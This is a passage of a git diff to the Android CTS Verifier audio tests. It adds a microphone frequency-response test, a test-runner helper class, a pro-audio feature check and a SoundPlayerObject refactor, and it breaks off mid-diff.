+    private String getTestString(int testId) {
+        String name = "undefined";
+        switch(testId) {
+            case TEST_TONE:
+                name = "BuiltIn_tone";
+                break;
+            case TEST_NOISE:
+                name = "BuiltIn_noise";
+                break;
+            case TEST_USB_BACKGROUND:
+                name = "USB_background";
+                break;
+            case TEST_USB_NOISE:
+                name = "USB_noise";
+                break;
+        }
+        return name;
+    }
+
+    private void showWait(int testId, boolean show) {
+        switch(testId) {
+            case TEST_TONE:
+                showWait(mProgressTone, show);
+                break;
+            case TEST_NOISE:
+                showWait(mProgressNoise, show);
+                break;
+            case TEST_USB_BACKGROUND:
+                showWait(mProgressUsbBackground, show);
+                break;
+            case TEST_USB_NOISE:
+                showWait(mProgressUsbNoise, show);
+                break;
+        }
+    }
+
+    private void showMessage(int testId, String msg) {
+        if (msg != null && msg.length() > 0) {
+            switch(testId) {
+                case TEST_TONE:
+                    mResultTestTone.setText(msg);
+                    break;
+                case TEST_NOISE:
+                    mResultTestNoise.setText(msg);
+                    break;
+                case TEST_USB_BACKGROUND:
+                    mResultTestUsbBackground.setText(msg);
+                    break;
+                case TEST_USB_NOISE:
+                    mResultTestUsbNoise.setText(msg);
+                    break;
+            }
+        }
+    }
+
+    private void computeAllResults() {
+        StringBuilder sb = new StringBuilder();
+
+        boolean allDone = true;
+
+        for (int i = 0; i < TEST_COUNT; i++) {
+            allDone = allDone & mTestsDone[i];
+            sb.append(String.format("%s : %s\n", getTestString(i),
+                    mTestsDone[i] ? "DONE" :" NOT DONE"));
+        }
+
+        if (allDone) {
+            sb.append(computeResults());
+        } else {
+            sb.append("Please execute all tests for results\n");
+        }
+        mGlobalResultText.setText(sb.toString());
+    }
+
+    private void processSpectrum(Results results, AudioBandSpecs[] bandsSpecs, int anchorBand) {
+        int points = results.mValuesLog.length;
+        int bandCount = bandsSpecs.length;
+        int currentBand = 0;
+        for (int i = 0; i < points; i++) {
+            double freq = (double) SAMPLING_RATE * i / (double) BLOCK_SIZE_SAMPLES;
+            if (freq > bandsSpecs[currentBand].mFreqStop) {
+                currentBand++;
+                if (currentBand >= bandCount)
+                    break;
+            }
+
+            if (freq >= bandsSpecs[currentBand].mFreqStart) {
+                results.mAverageEnergyPerBand[currentBand] += results.mValuesLog[i];
+                results.mPointsPerBand[currentBand]++;
+            }
+        }
+
+        for (int b = 0; b < bandCount; b++) {
+            if (results.mPointsPerBand[b] > 0) {
+                results.mAverageEnergyPerBand[b] =
+                        results.mAverageEnergyPerBand[b] / results.mPointsPerBand[b];
+            }
+        }
+
+        //set offset relative to band anchor band level
+        double offset = anchorBand > -1 && anchorBand < bandCount ?
+                results.mAverageEnergyPerBand[anchorBand] : 0;
+        for (int b = 0; b < bandCount; b++) {
+            bandsSpecs[b].setOffset(offset);
+        }
+
+        //test points in band.
+        currentBand = 0;
+        for (int i = 0; i < points; i++) {
+            double freq = (double) SAMPLING_RATE * i / (double) BLOCK_SIZE_SAMPLES;
+            if (freq > bandsSpecs[currentBand].mFreqStop) {
+                currentBand++;
+                if (currentBand >= bandCount)
+                    break;
+            }
+
+            if (freq >= bandsSpecs[currentBand].mFreqStart) {
+                double value = results.mValuesLog[i];
+                if (bandsSpecs[currentBand].isInBounds(freq, value)) {
+                    results.mInBoundPointsPerBand[currentBand]++;
+                }
+            }
+        }
+    }
+
+    private String computeResults() {
+        StringBuilder sb = new StringBuilder();
+
+        int points = mFreqAverageNoise.getSize();
+        //mFreqAverageNoise size is determined by the latest data written to it.
+        //Currently, this data is always BLOCK_SIZE_SAMPLES/2.
+        if (points < 1) {
+            return "error: not enough points";
+        }
+
+        double[] tone = new double[points];
+        double[] noise = new double[points];
+        double[] reference = new double[points];
+        double[] background = new double[points];
+
+        mFreqAverageTone.getData(tone, false);
+        mFreqAverageNoise.getData(noise, false);
+        mFreqAverageUsbNoise.getData(reference, false);
+        mFreqAverageUsbBackground.getData(background, false);
+
+        //Convert to dB
+        double[] toneDb = new double[points];
+        double[] noiseDb = new double[points];
+        double[] referenceDb = new double[points];
+        double[] backgroundDb = new double[points];
+
+        double[] compensatedNoiseDb = new double[points];
+
+        for (int i = 0; i < points; i++) {
+            toneDb[i] = 20 * Math.log10(tone[i]);
+            noiseDb[i] = 20 * Math.log10(noise[i]);
+            referenceDb[i] = 20 * Math.log10(reference[i]);
+            backgroundDb[i] = 20 * Math.log10(background[i]);
+
+            //Use reference measurement to compensate for speaker response.
+            compensatedNoiseDb[i] = noiseDb[i] - referenceDb[i];
+        }
+
+        mResultsMic.reset();
+        mResultsTone.reset();
+        mResultsBack.reset();
+
+        mResultsMic.mValuesLog = compensatedNoiseDb;
+        mResultsTone.mValuesLog = toneDb;
+        mResultsBack.mValuesLog = backgroundDb;
+
+        processSpectrum(mResultsMic, mBandSpecsMic, 1);
+        processSpectrum(mResultsTone, mBandSpecsTone, 1);
+        processSpectrum(mResultsBack, mBandSpecsBack, -1); //no reference for offset
+
+        //Tone test
+        boolean toneTestSuccess = true;
+        {
+            //rms level should be -36 dbfs +/- 3 db?
+            double rmsMaxDb = 20 * Math.log10(mRMSMaxTone);
+            sb.append(String.format("RMS level of tone: %.2f dBFS\n", rmsMaxDb));
+            sb.append(String.format("Target RMS level: %.2f dBFS +/- %.2f dB\n",
+                    TONE_RMS_EXPECTED,
+                    TONE_RMS_MAX_ERROR));
+            //check that the spectrum is really a tone around 1 khz
+            if (Math.abs(rmsMaxDb - TONE_RMS_EXPECTED) > TONE_RMS_MAX_ERROR) {
+                toneTestSuccess = false;
+                sb.append("RMS level test FAILED\n");
+            } else {
+                sb.append(" RMS level test SUCCESSFUL\n");
+            }
+        }
+
+        sb.append("\n");
+        sb.append(mResultsTone.toString());
+        if (mResultsTone.testAll()) {
+            sb.append(" 1 Khz Tone Frequency Response Test SUCCESSFUL\n");
+        } else {
+            sb.append(" 1 Khz Tone Frequency Response Test FAILED\n");
+        }
+        sb.append("\n");
+
+        sb.append("\n");
+        sb.append(mResultsBack.toString());
+        if (mResultsBack.testAll()) {
+            sb.append(" Background environment Test SUCCESSFUL\n");
+        } else {
+            sb.append(" Background environment Test FAILED\n");
+        }
+
+        sb.append("\n");
+        sb.append(mResultsMic.toString());
+        if (mResultsMic.testAll()) {
+            sb.append(" Frequency Response Test SUCCESSFUL\n");
+        } else {
+            sb.append(" Frequency Response Test FAILED\n");
+        }
+        sb.append("\n");
+
+        recordTestResults(mResultsTone);
+        recordTestResults(mResultsMic);
+
+        boolean allTestsPassed = false;
+        if (mResultsMic.testAll() && mResultsTone.testAll() && toneTestSuccess &&
+                mResultsBack.testAll()) {
+            allTestsPassed = true;
+            String strSuccess = getResources().getString(R.string.audio_general_test_passed);
+            sb.append(strSuccess);
+        } else {
+            String strFailed = getResources().getString(R.string.audio_general_test_failed);
+            sb.append(strFailed);
+        }
+        sb.append("\n");
+
+        getPassButton().setEnabled(allTestsPassed);
+        return sb.toString();
+    }
+
+    Thread mTestThread;
+    private void startTest(int testId) {
+        if (mTestThread != null && mTestThread.isAlive()) {
+            Log.v(TAG, "test Thread already running.");
+            return;
+        }
+        mRMS = 0;
+        mRMSMax = 0;
+        Log.v(TAG,"Executing test Thread");
+        switch(testId) {
+            case TEST_TONE:
+                mTestThread = new Thread(new TestRunnable(TEST_TONE) {
+                    public void run() {
+                        super.run();
+                        if (!mUsbMicConnected) {
+                            sendMessage(mTestId, TEST_MESSAGE,
+                                    "Testing Built in Microphone: Tone");
+                            mRMSTone = 0;
+                            mRMSMaxTone = 0;
+                            mFreqAverageTone.reset();
+                            mFreqAverageTone.setCaptureType(VectorAverage.CAPTURE_TYPE_MAX);
+                            record(TEST_DURATION_TONE_MS);
+                            sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                            mTestsDone[mTestId] = true;
+                        } else {
+                            sendMessage(mTestId, TEST_ENDED_ERROR,
+                                    "Please Unplug USB Microphone");
+                            mTestsDone[mTestId] = false;
+                        }
+                    }
+                });
+                break;
+            case TEST_NOISE:
+                mTestThread = new Thread(new TestRunnable(TEST_NOISE) {
+                    public void run() {
+                        super.run();
+                        if (!mUsbMicConnected) {
+                            sendMessage(mTestId, TEST_MESSAGE,
+                                    "Testing Built in Microphone: Noise");
+                            mFreqAverageNoise.reset();
+                            mFreqAverageNoise.setCaptureType(VectorAverage.CAPTURE_TYPE_MAX);
+                            record(TEST_DURATION_NOISE_MS);
+                            sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                            mTestsDone[mTestId] = true;
+                        } else {
+                            sendMessage(mTestId, TEST_ENDED_ERROR,
+                                    "Please Unplug USB Microphone");
+                            mTestsDone[mTestId] = false;
+                        }
+                    }
+                });
+                break;
+            case TEST_USB_BACKGROUND:
+                playerStopAll();
+                mTestThread = new Thread(new TestRunnable(TEST_USB_BACKGROUND) {
+                    public void run() {
+                        super.run();
+                        if (mUsbMicConnected) {
+                            sendMessage(mTestId, TEST_MESSAGE,
+                                    "Testing USB Microphone: background");
+                            mFreqAverageUsbBackground.reset();
+                            mFreqAverageUsbBackground.setCaptureType(
+                                    VectorAverage.CAPTURE_TYPE_AVERAGE);
+                            record(TEST_DURATION_USB_BACKGROUND_MS);
+                            sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                            mTestsDone[mTestId] = true;
+                        } else {
+                            sendMessage(mTestId, TEST_ENDED_ERROR,
+                                    "USB Microphone not detected.");
+                            mTestsDone[mTestId] = false;
+                        }
+                    }
+                });
+                break;
+            case TEST_USB_NOISE:
+                mTestThread = new Thread(new TestRunnable(TEST_USB_NOISE) {
+                    public void run() {
+                        super.run();
+                        if (mUsbMicConnected) {
+                            sendMessage(mTestId, TEST_MESSAGE, "Testing USB Microphone: Noise");
+                            mFreqAverageUsbNoise.reset();
+                            mFreqAverageUsbNoise.setCaptureType(VectorAverage.CAPTURE_TYPE_MAX);
+                            record(TEST_DURATION_USB_NOISE_MS);
+                            sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                            mTestsDone[mTestId] = true;
+                        } else {
+                            sendMessage(mTestId, TEST_ENDED_ERROR,
+                                    "USB Microphone not detected.");
+                            mTestsDone[mTestId] = false;
+                        }
+                    }
+                });
+                break;
+        }
+        mTestThread.start();
+    }
+
+    public class TestRunnable implements Runnable {
+        public int mTestId;
+        public boolean mUsbMicConnected;
+        TestRunnable(int testId) {
+            Log.v(TAG,"New TestRunnable");
+            mTestId = testId;
+        }
+        public void run() {
+            mCurrentTest = mTestId;
+            sendMessage(mTestId, TEST_STARTED,"");
+            mUsbMicConnected =
+                    UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+        };
+        public void record(int durationMs) {
+            mSRecorder.startRecording();
+            try {
+                Thread.sleep(durationMs);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+                //restore interrupted status
+                Thread.currentThread().interrupt();
+            }
+            mSRecorder.stopRecording();
+        }
+        public void sendMessage(int testId, int msgType, String str) {
+            Message msg = Message.obtain();
+            msg.what = msgType;
+            msg.obj = str;
+            msg.arg1 = testId;
+            mMessageHandler.sendMessage(msg);
+        }
+    }
+
+    private Handler mMessageHandler = new Handler() {
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            int testId = msg.arg1; //testId
+            String str = (String) msg.obj;
+            switch (msg.what) {
+                case TEST_STARTED:
+                    showWait(testId, true);
+                    break;
+                case TEST_MESSAGE:
+                    showMessage(testId, str);
+                    break;
+                case TEST_ENDED:
+                    showWait(testId, false);
+                    playerStopAll();
+                    showMessage(testId, str);
+                    appendResultsToScreen(testId, "test finished");
+                    computeAllResults();
+                    break;
+                case TEST_ENDED_ERROR:
+                    showWait(testId, false);
+                    playerStopAll();
+                    showMessage(testId, str);
+                    computeAllResults();
+                default:
+                    Log.e(TAG, String.format("Unknown message: %d", msg.what));
+            }
+        }
+    };
+
+    private class Results {
+        private int mBandCount;
+        private String mLabel;
+        public double[] mValuesLog;
+        int[] mPointsPerBand; // = new int[mBands];
+        double[] mAverageEnergyPerBand;// = new double[mBands];
+        int[] mInBoundPointsPerBand;// = new int[mBands];
+        public Results(String label, int bandCount) {
+            mLabel = label;
+            mBandCount = bandCount;
+            mPointsPerBand = new int[mBandCount];
+            mAverageEnergyPerBand = new double[mBandCount];
+            mInBoundPointsPerBand = new int[mBandCount];
+        }
+        public void reset() {
+            for (int i = 0; i < mBandCount; i++) {
+                mPointsPerBand[i] = 0;
+                mAverageEnergyPerBand[i] = 0;
+                mInBoundPointsPerBand[i] = 0;
+            }
+        }
+
+        //append results
+        public String toString() {
+            StringBuilder sb = new StringBuilder();
+            sb.append(String.format("Channel %s\n", mLabel));
+            for (int b = 0; b < mBandCount; b++) {
+                double percent = 0;
+                if (mPointsPerBand[b] > 0) {
+                    percent = 100.0 * (double) mInBoundPointsPerBand[b] / mPointsPerBand[b];
+                }
+                sb.append(String.format(
+                        " Band %d: Av. Level: %.1f dB InBand: %d/%d (%.1f%%) %s\n",
+                        b, mAverageEnergyPerBand[b],
+                        mInBoundPointsPerBand[b],
+                        mPointsPerBand[b],
+                        percent,
+                        (testInBand(b) ? "OK" : "Not Optimal")));
+            }
+            return sb.toString();
+        }
+
+        public boolean testInBand(int b) {
+            if (b >= 0 && b < mBandCount && mPointsPerBand[b] > 0) {
+                if ((double) mInBoundPointsPerBand[b] / mPointsPerBand[b] >
+                    MIN_FRACTION_POINTS_IN_BAND) {
+                        return true;
+                }
+            }
+            return false;
+        }
+
+        public boolean testAll() {
+            for (int b = 0; b < mBandCount; b++) {
+                if (!testInBand(b)) {
+                    return false;
+                }
+            }
+            return true;
+        }
+    }
+
+    //append results
+    private void appendResultsToScreen(String str, TextView text) {
+        String currentText = text.getText().toString();
+        text.setText(currentText + "\n" + str);
+    }
+
+    private void appendResultsToScreen(int testId, String str) {
+        switch(testId) {
+            case TEST_TONE:
+                appendResultsToScreen(str, mResultTestTone);
+                showToneRMS();
+                break;
+            case TEST_NOISE:
+                appendResultsToScreen(str, mResultTestNoise);
+                break;
+            case TEST_USB_BACKGROUND:
+                appendResultsToScreen(str, mResultTestUsbBackground);
+                break;
+            case TEST_USB_NOISE:
+                appendResultsToScreen(str, mResultTestUsbNoise);
+                break;
+        }
+    }
+
+    /**
+     * Store test results in log
+     */
+    private void recordTestResults(Results results) {
+        String channelLabel = "channel_" + results.mLabel;
+
+        for (int b = 0; b < results.mBandCount; b++) {
+            String bandLabel = String.format(channelLabel + "_%d", b);
+            getReportLog().addValue(
+                    bandLabel + "_Level",
+                    results.mAverageEnergyPerBand[b],
+                    ResultType.HIGHER_BETTER,
+                    ResultUnit.NONE);
+
+            getReportLog().addValue(
+                    bandLabel + "_pointsinbound",
+                    results.mInBoundPointsPerBand[b],
+                    ResultType.HIGHER_BETTER,
+                    ResultUnit.COUNT);
+
+            getReportLog().addValue(
+                    bandLabel + "_pointstotal",
+                    results.mPointsPerBand[b],
+                    ResultType.NEUTRAL,
+                    ResultUnit.COUNT);
+        }
+
+        getReportLog().addValues(channelLabel + "_magnitudeSpectrumLog",
+                results.mValuesLog,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        Log.v(TAG, "Results Recorded");
+    }
+
+    private void recordHeasetPortFound(boolean found) {
+        getReportLog().addValue(
+                "User Reported Headset Port",
+                found ? 1.0 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+    }
+
+    private void showToneRMS() {
+        String str = String.format("RMS: %.3f dBFS. Max RMS: %.3f dBFS",
+                20 * Math.log10(mRMSTone),
+                20 * Math.log10(mRMSMaxTone));
+        showMessage(TEST_TONE, str);
+    }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTestRunner.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTestRunner.java
new file mode 100644
index 0000000..8e0ff33
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTestRunner.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+
+public class AudioTestRunner implements Runnable {
+
+    public static final int TEST_STARTED = 900;
+    public static final int TEST_MESSAGE = 903;
+    public static final int TEST_ENDED_OK = 904;
+    public static final int TEST_ENDED_ERROR = 905;
+
+    private final String mTag;
+    public final int mTestId;
+    private final Handler mHandler;
+    AudioTestRunner(String tag, int testId, Handler handler) {
+        mTag = tag;
+        mTestId = testId;
+        mHandler = handler;
+        Log.v(mTag,"New AudioTestRunner test: " + mTestId);
+    }
+    public void run() {
+        sendMessage(mTestId, TEST_STARTED,"");
+    };
+
+    public void sleep(int durationMs) {
+        try {
+            Thread.sleep(durationMs);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            //restore interrupted status
+            Thread.currentThread().interrupt();
+        }
+    }
+
+    public void sendMessage(int msgType, String str) {
+        sendMessage(mTestId, msgType, str);
+    }
+
+    public void sendMessage(int testId, int msgType, String str) {
+        Message msg = Message.obtain();
+        msg.what = msgType;
+        msg.obj = str;
+        msg.arg1 = testId;
+        mHandler.sendMessage(msg);
+    }
+
+    public static class AudioTestRunnerMessageHandler extends Handler {
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            int testId = msg.arg1; //testId
+            String str = (String) msg.obj;
+            switch (msg.what) {
+                case TEST_STARTED:
+                    testStarted(testId, str);
+                    break;
+                case TEST_MESSAGE:
+                    testMessage(testId, str);
+                    break;
+                case TEST_ENDED_OK:
+                    testEndedOk(testId, str);
+                    break;
+                case TEST_ENDED_ERROR:
+                    testEndedError(testId, str);
+                    break;
+                default:
+                    Log.e("TestHandler", String.format("Unknown message: %d", msg.what));
+            }
+        }
+
+        public void testStarted(int testId, String str) {
+            //replace with your code
+        }
+
+        public void testMessage(int testId, String str) {
+            //replace with your code
+        }
+
+        public void testEndedOk(int testId, String str) {
+            //replace with your code
+        }
+
+        public void testEndedError(int testId, String str) {
+            //replace with your code
+        }
+    }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
index 1a9ffac..87618b1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
@@ -37,9 +37,12 @@
 import android.widget.TextView;
 import java.util.Arrays;
 
+import com.androidplot.xy.PointLabelFormatter;
+import com.androidplot.xy.LineAndPointFormatter;
 import com.androidplot.xy.SimpleXYSeries;
+import com.androidplot.xy.XYPlot;
 import com.androidplot.xy.XYSeries;
-import com.androidplot.xy.*;
+import com.androidplot.xy.XYStepMode;
 
 import com.android.compatibility.common.util.CddTest;
 
@@ -279,7 +282,7 @@
         LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
         seriesFormat.configure(getApplicationContext(),
             R.xml.ultrasound_line_formatter_trials);
-        seriesFormat.setPointLabelFormatter(null);
+        seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
         plot.addSeries(series, seriesFormat);
       }
 
@@ -296,7 +299,7 @@
       LineAndPointFormatter noiseSeriesFormat = new LineAndPointFormatter();
       noiseSeriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_noise);
-      noiseSeriesFormat.setPointLabelFormatter(null);
+      noiseSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       plot.addSeries(noiseSeries, noiseSeriesFormat);
 
       double[] dB = wavAnalyzerTask.getDB();
@@ -312,7 +315,7 @@
       LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
       seriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_median);
-      seriesFormat.setPointLabelFormatter(null);
+      seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       plot.addSeries(series, seriesFormat);
 
       Double[] passX = new Double[] {Common.MIN_FREQUENCY_HZ, Common.MAX_FREQUENCY_HZ};
@@ -322,7 +325,7 @@
       LineAndPointFormatter passSeriesFormat = new LineAndPointFormatter();
       passSeriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_pass);
-      passSeriesFormat.setPointLabelFormatter(null);
+      passSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       plot.addSeries(passSeries, passSeriesFormat);
     }
   }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
index 0276e60..9aebbc4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
@@ -37,9 +37,12 @@
 import android.widget.TextView;
 import java.util.Arrays;
 
+import com.androidplot.xy.PointLabelFormatter;
+import com.androidplot.xy.LineAndPointFormatter;
 import com.androidplot.xy.SimpleXYSeries;
+import com.androidplot.xy.XYPlot;
 import com.androidplot.xy.XYSeries;
-import com.androidplot.xy.*;
+import com.androidplot.xy.XYStepMode;
 
 public class HifiUltrasoundTestActivity extends PassFailButtons.Activity {
 
@@ -236,9 +239,9 @@
             Arrays.asList(powerWrap),
             "");
         LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+        seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
         seriesFormat.configure(getApplicationContext(),
             R.xml.ultrasound_line_formatter_trials);
-        seriesFormat.setPointLabelFormatter(null);
         plot.addSeries(series, seriesFormat);
       }
 
@@ -253,9 +256,9 @@
           Arrays.asList(noiseDBWrap),
           "background noise");
       LineAndPointFormatter noiseSeriesFormat = new LineAndPointFormatter();
+      noiseSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       noiseSeriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_noise);
-      noiseSeriesFormat.setPointLabelFormatter(null);
       plot.addSeries(noiseSeries, noiseSeriesFormat);
 
       double[] dB = wavAnalyzerTask.getDB();
@@ -269,9 +272,9 @@
           Arrays.asList(dBWrap),
           "median");
       LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+      seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       seriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_median);
-      seriesFormat.setPointLabelFormatter(null);
       plot.addSeries(series, seriesFormat);
 
       Double[] passX = new Double[] {Common.MIN_FREQUENCY_HZ, Common.MAX_FREQUENCY_HZ};
@@ -279,9 +282,9 @@
       XYSeries passSeries = new SimpleXYSeries(
           Arrays.asList(passX), Arrays.asList(passY), "passing");
       LineAndPointFormatter passSeriesFormat = new LineAndPointFormatter();
+      passSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       passSeriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_pass);
-      passSeriesFormat.setPointLabelFormatter(null);
       plot.addSeries(passSeries, passSeriesFormat);
     }
   }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 30bc5fc..07a2d4d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -46,6 +46,7 @@
     private static final boolean DEBUG = false;
 
     // Flags
+    private boolean mClaimsProAudio;
     private boolean mClaimsLowLatencyAudio;    // CDD ProAudio section C-1-1
     private boolean mClaimsMIDI;               // CDD ProAudio section C-1-4
     private boolean mClaimsUSBHostMode;        // CDD ProAudio section C-1-3
@@ -75,10 +76,19 @@
 
     CheckBox mClaimsHDMICheckBox;
 
+    // Borrowed from PassFailButtons.java
+    private static final int INFO_DIALOG_ID = 1337;
+    private static final String INFO_DIALOG_TITLE_ID = "infoDialogTitleId";
+    private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
+
     public ProAudioActivity() {
         super();
     }
 
+    private boolean claimsProAudio() {
+        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_PRO);
+    }
+
     private boolean claimsLowLatencyAudio() {
         // CDD Section C-1-1: android.hardware.audio.low_latency
         return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
@@ -158,13 +168,13 @@
     }
 
     private void calculatePass() {
-        boolean hasPassed =
-                mClaimsLowLatencyAudio && mClaimsMIDI &&
+        boolean hasPassed = !mClaimsProAudio ||
+                (mClaimsLowLatencyAudio && mClaimsMIDI &&
                 mClaimsUSBHostMode && mClaimsUSBPeripheralMode &&
                 (!mClaimsHDMI || isHDMIValid()) &&
                 mOutputDevInfo != null && mInputDevInfo != null &&
                 mRoundTripLatency != 0.0 && mRoundTripLatency <= LATENCY_MS_LIMIT &&
-                mRoundTripConfidence >= CONFIDENCE_LIMIT;
+                mRoundTripConfidence >= CONFIDENCE_LIMIT);
         getPassButton().setEnabled(hasPassed);
     }
 
@@ -261,6 +271,16 @@
         setPassFailButtonClickListeners();
         setInfoResources(R.string.proaudio_test, R.string.proaudio_info, -1);
 
+        mClaimsProAudio = claimsProAudio();
+        ((TextView)findViewById(R.id.proAudioHasProAudioLbl)).setText("" + mClaimsProAudio);
+
+        if (!mClaimsProAudio) {
+            Bundle args = new Bundle();
+            args.putInt(INFO_DIALOG_TITLE_ID, R.string.pro_audio_latency_test);
+            args.putInt(INFO_DIALOG_MESSAGE_ID, R.string.audio_proaudio_nopa_message);
+            showDialog(INFO_DIALOG_ID, args);
+        }
+
         mClaimsLowLatencyAudio = claimsLowLatencyAudio();
         ((TextView)findViewById(R.id.proAudioHasLLALbl)).setText("" + mClaimsLowLatencyAudio);
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundPlayerObject.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundPlayerObject.java
index 23b71c0..0d93dbb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundPlayerObject.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundPlayerObject.java
@@ -17,39 +17,74 @@
 package com.android.cts.verifier.audio;
 
 import android.content.Context;
+import android.media.AudioAttributes;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
 import android.media.MediaPlayer;
 import android.net.Uri;
-import android.net.rtp.AudioStream;
 import android.util.Log;
 
 import com.android.cts.verifier.audio.wavelib.PipeShort;
 
 import java.io.IOException;
+import java.nio.ByteBuffer;
 
-public class SoundPlayerObject extends Thread {
+public class SoundPlayerObject implements Runnable, AudioTrack.OnPlaybackPositionUpdateListener {
     private static final String LOGTAG = "SoundPlayerObject";
+
+    private static final int TIME_OUT_US = 5000;
+    private static final int DEFAULT_BLOCK_SIZE = 4096;
+
     private MediaPlayer mMediaPlayer;
     private boolean isInitialized = false;
     private boolean isRunning = false;
 
+    private int bufferSize = 65536;
+    private PipeShort mDecoderPipe = new PipeShort(bufferSize);
     public PipeShort mPipe = new PipeShort(65536);
     private short[] mAudioShortArray;
 
-    public AudioTrack mAudioTrack;
-    public int mSamplingRate = 48000;
+    private AudioTrack mAudioTrack;
+    private int mSamplingRate = 48000;
     private int mChannelConfigOut = AudioFormat.CHANNEL_OUT_MONO;
     private int mAudioFormat = AudioFormat.ENCODING_PCM_16BIT;
-    int mMinPlayBufferSizeInBytes = 0;
-    int mMinBufferSizeInSamples = 0;
+    private int mMinPlayBufferSizeInBytes = 0;
+    private int mMinBufferSizeInSamples = 0;
 
     private int mStreamType = AudioManager.STREAM_MUSIC;
     private int mResId = -1;
-    private boolean mUseMediaPlayer = true;
+    private final boolean mUseMediaPlayer; //true: MediaPlayer, false: AudioTrack
     private float mBalance = 0.5f; //0 left, 1 right
 
+    private Object mLock = new Object();
+    private MediaCodec mCodec = null;
+    private MediaExtractor mExtractor = null;
+    private int mInputAudioFormat;
+    private int mInputSampleRate;
+    private int mInputChannelCount;
+
+    private boolean mLooping = true;
+    private Context mContext = null;
+
+    private final int mBlockSizeSamples;
+
+    private Thread mPlaybackThread;
+
+    public SoundPlayerObject() {
+        mUseMediaPlayer = true;
+        mBlockSizeSamples = DEFAULT_BLOCK_SIZE;
+    }
+
+    public SoundPlayerObject(boolean useMediaPlayer, int blockSize) {
+        mUseMediaPlayer = useMediaPlayer;
+        mBlockSizeSamples = blockSize;
+    }
+
     public int getCurrentResId() {
         return mResId;
     }
@@ -58,31 +93,159 @@
         return mStreamType;
     }
 
+    public int getChannelCount() {
+        return mInputChannelCount;
+    }
+
     public void run() {
-        setPriority(Thread.MAX_PRIORITY);
         isRunning = true;
+        int decodeRounds = 0;
+        MediaCodec.BufferInfo buffInfo = new MediaCodec.BufferInfo();
+
         while (isRunning) {
+            if (Thread.interrupted()) {
+                log("got thread interrupted!");
+                isRunning = false;
+                return;
+            }
 
-            if (!mUseMediaPlayer && isInitialized && isPlaying()) {
-                int valuesAvailable = mPipe.availableToRead();
-                if (valuesAvailable > 0) {
-
-                    int valuesOfInterest = valuesAvailable;
-                    if (mMinBufferSizeInSamples < valuesOfInterest) {
